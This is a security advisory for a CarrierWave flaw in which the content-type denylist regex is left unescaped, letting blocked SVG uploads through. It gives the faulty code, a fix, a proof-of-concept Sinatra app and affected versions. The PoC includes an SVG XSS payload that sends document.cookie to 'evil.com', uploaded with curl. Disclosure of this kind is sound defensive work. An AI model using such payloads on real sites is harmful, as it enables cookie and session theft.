CVE-2026-44587
Published:June 10, 2026
Updated:June 10, 2026
Summary CarrierWave's content_type_denylist check fails to escape regex metacharacters in string entries, causing the denylist to silently not match the content types it is intended to block. Note: CarrierWave is aware "#content_type_denylist is deprecated for the security reason", but it still used by developers, and the problem here isn't denylist allows any filetype, and thats not a vulnerability in carrierwave, its an implementation problem in developers using CarrierWave, the problem is its denylist entries are interpolated directly into a regex without "Regexp.quote" or anchoring. The denylist is still useful when developers want to ban specific content types but allow everything else. Details In "lib/carrierwave/uploader/content_type_denylist.rb:57", string denylist entries are interpolated directly into a regex without "Regexp.quote" or anchoring: def denylisted_content_type?(denylist, content_type) Array(denylist).any? { |item| content_type =~ /#{item}/ } end The entry "image/svg+xml" becomes the regex /image/svg+xml/ where + is a quantifier meaning "one or more g", not a literal +. This regex never matches the real MIME type "image/svg+xml" which contains a literal +. This is inconsistent with the allowlist implementation at lib/carrierwave/uploader/content_type_allowlist.rb:53-57, which correctly applies both Regexp.quote and a \A anchor: rubydef allowlisted_content_type?(allowlist, content_type) Array(allowlist).any? do |item| item = Regexp.quote(item) if item.class != Regexp content_type =~ /\A#{item}/ end end Other affected MIME types include "application/xhtml+xml" and any type containing regex metacharacters. Fix: Apply Regexp.quote for string entries and anchor with \A, matching the existing allowlist implementation: rubydef denylisted_content_type?(denylist, content_type) Array(denylist).any? do |item| item = Regexp.quote(item) if item.class != Regexp content_type =~ /\A#{item}/ end end PoC app.rb require "sinatra" require "carrierwave" require "fileutils" FileUtils.mkdir_p("uploads/files") CarrierWave.configure do |config| config.root = File.expand_path("uploads") config.store_dir = "files" end class VaultUploader < CarrierWave::Uploader::Base storage :file def store_dir = "files" def content_type_denylist = %w[image/svg+xml] end post "/upload" do content_type :json san = CarrierWave::SanitizedFile.new( tempfile: params[:file][:tempfile], filename: params[:file][:filename], content_type: params[:file][:type] ) uploader = VaultUploader.new begin uploader.store!(san) { result: "VULNERABLE", message: "SVG bypassed denylist", path: uploader.path }.to_json rescue CarrierWave::IntegrityError => e { result: "blocked", message: e.message }.to_json end end bundle exec ruby app.rb & echo '<svg xmlns="http://www.w3.org/2000/svg"><script>document.location="https://evil.com/?c="+document.cookie</script></svg>' > xss.svg curl -X POST http://localhost:4567/upload -F "file=@xss.svg;type=image/svg+xml" Expected response (denylist working): json{ "result": "blocked", "message": "..." } Actual response: json{ "result": "VULNERABLE", "message": "SVG bypassed denylist", "path": "..." } Impact Any application that uses content_type_denylist to block image/svg+xml — the most common use case, specifically to prevent stored XSS — is silently unprotected. An attacker can upload an SVG file containing arbitrary
Affected Packages
https://github.com/carrierwaveuploader/carrierwave.git (GITHUB):
Affected version(s) >=v3.1.0 <v3.1.3Fix Suggestion:
Update to version v3.1.3https://github.com/carrierwaveuploader/carrierwave.git (GITHUB):
Affected version(s) >=v0.1.0 <v2.2.7Fix Suggestion:
Update to version v2.2.7carrierwave (RUBY):
Affected version(s) >=3.0.0.beta <3.1.3Fix Suggestion:
Update to version 3.1.3carrierwave (RUBY):
Affected version(s) >=0.1 <2.2.7Fix Suggestion:
Update to version 2.2.7Related Resources (4)
Do you need more information?
Contact UsCVSS v4
Base Score:
5.3
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
PASSIVE
Vulnerable System Confidentiality
LOW
Vulnerable System Integrity
NONE
Vulnerable System Availability
NONE
Subsequent System Confidentiality
LOW
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
4.7
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality
LOW
Integrity
NONE
Availability
NONE
Weakness Type (CWE)
Improper Encoding or Escaping of Output